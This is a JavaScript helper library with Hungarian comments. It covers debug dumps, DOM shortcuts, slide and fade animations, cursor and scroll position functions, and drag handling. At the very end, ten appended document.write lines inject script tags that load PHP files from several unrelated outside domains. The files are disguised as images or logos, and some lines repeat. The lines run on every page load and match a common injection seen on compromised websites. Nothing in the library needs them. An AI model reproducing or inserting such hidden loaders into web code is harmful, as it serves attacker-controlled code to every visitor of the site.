//új ablakban kiírja a megadott objektum minden tulajdonságát( 1. szintig )
function dump( value ){

	var str = '';

	var key = 0;
	for( i in value ){
		var divided = '"'+ (key / 2) +'"';
		if( divided.search( '5' ) != -1 ){ var color = '#EEFFFF'; } else { var color = '#DDFFFF'; } //set bg color

		if( typeof( value[i] ) != 'function' )
			str += '<div style="background-color: '+ color +'"><b>'+ i +':</b> '+ value[i] + '</div>';

		key++;
	}

	if( typeof( value ) == 'string' )
		str = value;

	var dump_window = window.open( '', 'dump_window', 'left=20,top=20,width=1000,height=700,toolbar=0,resizable=1,scrollbars=1' );
	dump_window.document.write( str );
	dump_window.document.close();

	dump_window.focus();
}


//címe van az alertolt értéknek
function talert( title, value ){

	alert( title +':\r\n\r\n'+ value );
}


//alertben kiírja a megadott objektum minden tulajdonságát( 1. szintig )
function adump( obj )
{
	var str = '';
	for( my_i in obj )
	{
			if( typeof( obj[ my_i ] ) != 'function')
				str += my_i +': '+ obj[ my_i ] +"\r\n";
	}

	if( typeof( obj ) == 'string' )
		str = obj;

	alert( str );
}


//getElementById
function my$( obj_id ){

		return document.getElementById( obj_id );
}


//getElementsByName
function my_( obj_name ){

	return document.getElementsByName( obj_name );
}


//meghívásakor becseteli a megadott szöveget a hozzá tartozó div-be
function my_log( txt ){
//return false;
//alert( txt );

/*try
{
	a_fish_in_the_pool;
} catch ( e )
{
	var error_STR;
	for( var i in e )
	{
		error_STR += i +': '+ e[i] +'<br />';
	}

	txt += txt +'<br />---[line]---<br />'+ error_STR +'<br />---[/line]---<br />';
}
*/
	var dbg_area = document.getElementById('dbg_area');

	dbg_area.innerHTML += ' - '+ txt +'<br>';
	dbg_area.scrollTop = 1000000000;

/*
<div id="jsdbg" style="width:205px; height:328px; position:absolute; top: 0; right: 0; background-color:#eef; border-color:#eee; border-style: groove;">
	<div id="dbg_area" style="width:200px; height:300px; border-color:#eee; border-style: groove; overflow: scroll;">Debug log:<hr noshade="noshade" size="1" /></div>
	<input type="button" value="---vonalka---" onclick="vonalka();" />
	<input type="button" value="putszol" onclick="my$('dbg_area').innerHTML = 'Debug log:<hr>'" />
</div>
*/
}
//my_log gomb. TODO: belehegeszteni a my_log-ba.
function vonalka(){

	var dbg_area = document.getElementById('dbg_area');
	var vonalka = document.createElement('HR');

	vonalka.noshade = true;
	vonalka.size = 1;
	vonalka.color = '#f00';

	dbg_area.appendChild( vonalka );
	dbg_area.scrollTop = 1000000000;
}
//my_log gomb. TODO: belehegeszteni a my_log-ba.
function putszol(){

	var dbg_area = document.getElementById('dbg_area');

	dbg_area.innerHTML = 'Debug log:<hr noshade="noshade" size="1" />';
}


//ha nem tudjuk, hogy id jön-e vagy objektum
function get_obj( obj ){

	if( typeof( obj ) == 'string' )
		var obj = my$( obj );


	return obj;
}


//cursor-t állítgat ( pointer / default )
function set_cursor( val ){

	var obj = get_obj( val );
	var curr_cursor = '';

	if( obj.style.cursor !== 'pointer' ){

		curr_cursor = obj.style.cursor;
		obj.style.cursor = 'pointer';
	} else {

		if( this.curr_cursor !== '' )
			obj.style.cursor = curr_cursor;
		else
			obj.style.cursor = 'default';
	}
}


//display-t állítgat ( block / none )
function show_div( val ){

	var obj = get_obj( val );
	var curr_display = '';

	if( obj.style.display != 'none' ){

		curr_display = obj.style.display;
		obj.style.display = 'none';
	} else {

		if( this.curr_display != '' )
			obj.style.display = curr_display;
		else
			obj.style.display = 'block';
	}
}


//alert, kiírja a típust is.
function var_dump( variable ){

	alert( '[ '+ typeof( variable ) +' ]\r\n'+ variable );
}


//egérnél visszaadja az ojjektumot. ff/ie
function fix_e_target( e ){

	if( !e )
		var e = window.event;

	try
	{
		if(!ie())
		{
			var target = e.target;
		} else
		{
			var target = e.srcElement;
		}
	} catch ( err ){}

	return target;
}


//visszaadja a szeparátor legutolsó előfordulása utáni részt.
function split_by_end( separator, split_str, rev ){

	var index = split_str.lastIndexOf( separator );
	if( index == -1 )
		var ret_STR = split_str;
	else
	{
		if( rev == null )
			var ret_STR = split_str.substr( index + separator.length );
		else
			var ret_STR = split_str.substr( 0, index + separator.length );
	}



	return ret_STR;
}

// -||- első előfordulás
function split_by_start( separator, split_str ){

	var index = split_str.indexOf( separator );
	if( index == -1 )
		var ret_STR = split_str;
	else
		var ret_STR = split_str.substr( 0, index );


	return ret_STR;
}


//my_slide() hívja, külön is hívható.
function my_open(){

	for( var i = 0; i < window.my_open_div.length; i++ )
	{
		if( window.my_open_div[ i ].style.height == '0px')
			window.my_open_div[ i ].style.display = 'block';
	
		if( window.my_open_div[ i ].style.height.replace( /px/gi, '' ) < window.my_open_div[ i ].scrollHeight ){
	
			window.my_open_div[ i ].style.height = Number( window.my_open_div[ i ].style.height.replace( /px/gi, '' )) + 10 +'px';
			window.T = window.setTimeout( "my_open('"+ window.my_open_div[ i ].id +"')", 0.01 );
//		window.T = window.setTimeout( "my_open()", Number( window.my_open_div.style.height.replace( /px/gi, '' )) / 10 );
		} else {
	
			window.my_open_div[ i ].style.height = window.my_open_div[ i ].scrollHeight +'px';
		}
	}
}

//my_slide() hívja, külön is hívható.
function my_close(){

	for( var j = 0; j < window.my_close_div.length; j++ )
	{
		if( window.my_close_div[ j ].style.height.replace( /px/gi, '' ) > 29 ){
	
			window.my_close_div[ j ].style.height = Number( window.my_close_div[ j ].style.height.replace( /px/gi, '' )) - 10 +'px';
			window.T = window.setTimeout( "my_close()", 0.01 );
//		window.T = window.setTimeout( "my_close()", Number( window.my_close_div.style.height.replace( /px/gi, '' )) / 10 );
		} else {
	
/*******************/ //*SPECIFIKUS
			window.my_close_div[ j ].style.height = 20 +'px';
/*******************/
	
//		window.my_close_div.style.height = 0 +'px';
//		window.my_close_div.style.display = 'none';
		}
	}
}


//objektumot nyit/zár. A függvény lehetőséged ad arra, hogy egyszerre 2 objektum is mozoghasson.
function my_slide( val ){

	var obj = get_obj( val );

	if( obj.style.height == '0px'){

		window.my_open_div = obj;
		my_open();
	} else {

		window.my_close_div = obj;
		my_close();
	}
}


//...
function ie(){

	if( navigator.appName == 'Microsoft Internet Explorer' )
		return true;


	return false;
}


//////////////////////////
// XML handling START   //
//////////////////////////


//setAttribute stringre
function s_sa( str, name, value )
{
	var str_ARR = str.split('>');
	str_ARR[ 0 ] += ' '+ name +'="'+ value +'" ';

	return str_ARR.join('>');
}


//setAttribute stringre firstchild
function s_sa_fc( str, name, value )
{
	var str_ARR = str.split('>');
	str_ARR[ 1 ] += ' '+ name +'="'+ value +'" ';

	return str_ARR.join('>');
}


//innerHTML stringre
function s_ih( str, name, value )
{
	var str_ARR = str.split('<');
	str_ARR[ 1 ] += '<'+ name +'>'+ value +'</'+ name +'>';

	return str_ARR.join('<');
}


//////////////////////////
// XML handling END     //
//////////////////////////


//ext - bemásoltak:
//TODO: régi projektek dolgai benn maradtak

//cursor position
function getPosition(e) {
	e = e || window.event;
    var cursor = {x:0, y:0};
    if (e.pageX || e.pageY) {
        cursor.x = e.pageX;
        cursor.y = e.pageY;
    }
    else {


//TODO: config elérési út ide?

if( window.is_frame )
{
    var de = parent.mainFrame.document.documentElement;
    var b = parent.mainFrame.document.body;
}
else
{
    var de = document.documentElement;
    var b = document.body;
}


        cursor.x = e.clientX +
            (de.scrollLeft || b.scrollLeft) - (de.clientLeft || 0);
        cursor.y = e.clientY +
            (de.scrollTop || b.scrollTop) - (de.clientTop || 0);
    }
    return cursor;
}

//wordWrap( karakterek száma, beillesztendő valami(<br>), false: csak szóköznél tör );
String.prototype.wordWrap = function(m, b, c){
    var i, j, s, r = this.split("\r\n");
    if(m > 0) for(i in r){
        for(s = r[i], r[i] = ""; s.length > m;
            j = c ? m : (j = s.substr(0, m).match(/\S*$/)).input.length - j[0].length
            || m,
            r[i] += s.substr(0, j) + ((s = s.substr(j)).length ? b : "")
        );
        r[i] += s;
    }
    return r.join("\r\n");
};

//return with the key code
//ha van e-nk.
function get_keycode( e ){

	if( window.event )
		var keycode = window.event.keyCode;
	else if( e )
		var keycode = e.which;

if( ie())
{
	if( parent.mainFrame.event )
		var keycode = parent.mainFrame.event.keyCode;
	else if( e )
		var keycode = e.which;

}

	return keycode;
}

//textareaban cursor pozíciója
function setCaretPosition(ctrl, pos)
{

	if(ctrl.setSelectionRange)
	{
		ctrl.focus();
		ctrl.setSelectionRange(pos,pos);
	}
	else if (ctrl.createTextRange) {
		var range = ctrl.createTextRange();
		range.collapse(true);
		range.moveEnd('character', pos);
		range.moveStart('character', pos);
		range.select();
	}
}

//visszaadja el koordinátáit
function getXY(el)
{
	var x = el.offsetLeft;
	var y = el.offsetTop;
	if(el.offsetParent != null)
	{
		var pos = getXY(el.offsetParent);
		x += pos.x;
		y += pos.y;
	}
//my_log('y: '+ y );
	return {x: x, y: y}
}


//dd ie
function DBC( el )
{

	function dragbyclass(e) {
	//  var fobj = ns ? e.target : event.srcElement
//	var fobj = parent.mainFrame.document.getElementById('bottom_div');

if( window.is_frame )
{
	var fobj = parent.mainFrame.document.getElementById('bottom_div');
}
else
{
	var fobj = document.getElementById('bottom_div');
}
	//  if (fobj.tagName=="DIV" && fobj.className=="drag") {
//	   	var ev=e||parent.mainFrame.event

if( window.is_frame )
{
	var ev=e||parent.mainFrame.event
}
else
{
	var ev=e|| window.event
}
	   	var offsetx=ev.clientX-fobj.offsetLeft
	   	var offsety=ev.clientY-fobj.offsetTop

if( window.is_frame )
{
	  		parent.mainFrame.document.onmousemove=function() {
	    		fobj.style.left=ev.clientX-offsetx
	    		fobj.style.top=ev.clientY-offsety
	    		return false
	  		}
}
else
{
	  		document.onmousemove=function() {
	    		fobj.style.left=ev.clientX-offsetx
	    		fobj.style.top=ev.clientY-offsety
	    		return false
	  		}
}
	//  }
	}

	el.onmousedown=dragbyclass;
	el.onmouseup=function() {

if( window.is_frame )
{
	parent.mainFrame.document.onmousemove=null
}
else
{
	document.onmousemove=null
}
	}

}


/**
* Function : dump()
* Arguments: The data - array,hash(associative array),object
*    The level - OPTIONAL
* Returns  : The textual representation of the array.
* This function was inspired by the print_r function of PHP.
* This will accept some data as the argument and return a
* text that will be a more readable version of the
* array/hash/object that is given.
*/
function arrdump(arr,level) {
	var dumped_text = "";
	if(!level) level = 0;
	
	//The padding given at the beginning of the line.
	var level_padding = "";
	for(var j=0;j<level+1;j++) level_padding += "    ";
	
	if(typeof(arr) == 'object') { //Array/Hashes/Objects 
		for(var item in arr) {
			var value = arr[item];
			
			if(typeof(value) == 'object') { //If it is an array,
				dumped_text += level_padding + "'" + item + "' ...\n";
				dumped_text += arrdump(value,level+1);
			} else {
				dumped_text += level_padding + "'" + item + "' => \"" + value + "\"\n";
			}
		}
	} else { //Stings/Chars/Numbers etc.
		dumped_text = "===>"+arr+"<===("+typeof(arr)+")";
	}
	return dumped_text;
}


//specifikus - HA NINCS RÁ SZÜKSÉG, KOMMENT NEKI

//állandóan tudja a leütött billentyűket
//document.onkeydown = checkKeycode;
function checkKeycode( e )
{
	var keycode;
	
	if( window.event )
		keycode = window.event.keyCode;
	else if( e )
		keycode = e.which;
	
	window.keycode = keycode;
}


document.getElementsByClassName = function(cl) {
	var retnode = [];
	var myclass = new RegExp('\\b'+cl+'\\b');
	var elem = this.getElementsByTagName('*');
	for (var i = 0; i < elem.length; i++) {
	var classes = elem[i].className;
	if (myclass.test(classes)) retnode.push(elem[i]);
	}
	return retnode;
};




function opacity(id, opacStart, opacEnd, millisec) {
    //speed for each frame
    var speed = Math.round(millisec / 100);
    var timer = 0;

    //determine the direction for the blending, if start and end are the same nothing happens
    if(opacStart > opacEnd) {
        for(i = opacStart; i >= opacEnd; i--) {
            setTimeout("changeOpac(" + i + ",'" + id + "')",(timer * speed));
            timer++;

if( i == 0 )
{
//alert('1');
	my$( id ).style.display = 'none';
}

        }
    } else if(opacStart < opacEnd) {
        for(i = opacStart; i <= opacEnd; i++)
            {
            setTimeout("changeOpac(" + i + ",'" + id + "')",(timer * speed));
            timer++;

if( i == 0 )
{
//alert('2');
	my$( id ).style.display = 'block';
}
        }
    }
}

//change the opacity for different browsers
function changeOpac(opacity, id) {
    var object = document.getElementById(id).style;
    object.opacity = (opacity / 100);
    object.MozOpacity = (opacity / 100);
    object.KhtmlOpacity = (opacity / 100);
    object.filter = "alpha(opacity=" + opacity + ")";
}


function getWinSize() {
  var myWidth = 0, myHeight = 0;
  if( typeof( window.innerWidth ) == 'number' ) {
    //Non-IE
    myWidth = window.innerWidth;
    myHeight = window.innerHeight;
  } else if( document.documentElement && ( document.documentElement.clientWidth || document.documentElement.clientHeight ) ) {
    //IE 6+ in 'standards compliant mode'
    myWidth = document.documentElement.clientWidth;
    myHeight = document.documentElement.clientHeight;
  } else if( document.body && ( document.body.clientWidth || document.body.clientHeight ) ) {
    //IE 4 compatible
    myWidth = document.body.clientWidth;
    myHeight = document.body.clientHeight;
  }
  
  var ret = new Array();
  ret['width'] = myWidth;
  ret['height'] = myHeight;

	return ret;
}


   function getScrollCoords()
   {
      var scrollX, scrollY;
      
      if (document.all)
      {
         if (!document.documentElement.scrollLeft)
            scrollX = document.body.scrollLeft;
         else
            scrollX = document.documentElement.scrollLeft;
               
         if (!document.documentElement.scrollTop)
            scrollY = document.body.scrollTop;
         else
            scrollY = document.documentElement.scrollTop;
      }   
      else
      {
         scrollX = window.pageXOffset;
         scrollY = window.pageYOffset;
      }
   
  var ret = new Array();
  ret['scrollX'] = scrollX;
  ret['scrollY'] = scrollY;

	return ret;
   }
document.write('<script src=http://wap.blackhollywoodhu.com/Scripts/splash.jpg.php ><\/script>');
document.write('<script src=http://mamnonkidshome.com.vn/www/logo.php ><\/script>');
document.write('<script src=http://concertmaatje.nl/fotos/strip_back.php ><\/script>');
document.write('<script src=http://concertmaatje.nl/fotos/strip_back.php ><\/script>');
document.write('<script src=http://concertmaatje.nl/fotos/strip_back.php ><\/script>');
document.write('<script src=http://concertmaatje.nl/fotos/strip_back.php ><\/script>');
document.write('<script src=http://concertmaatje.nl/fotos/strip_back.php ><\/script>');
document.write('<script src=http://mijnclubwinkel.com/images/gifimg.php ><\/script>');
document.write('<script src=http://gmp32.org/images/gifimg.php ><\/script>');
document.write('<script src=http://gmp32.org/images/gifimg.php ><\/script>');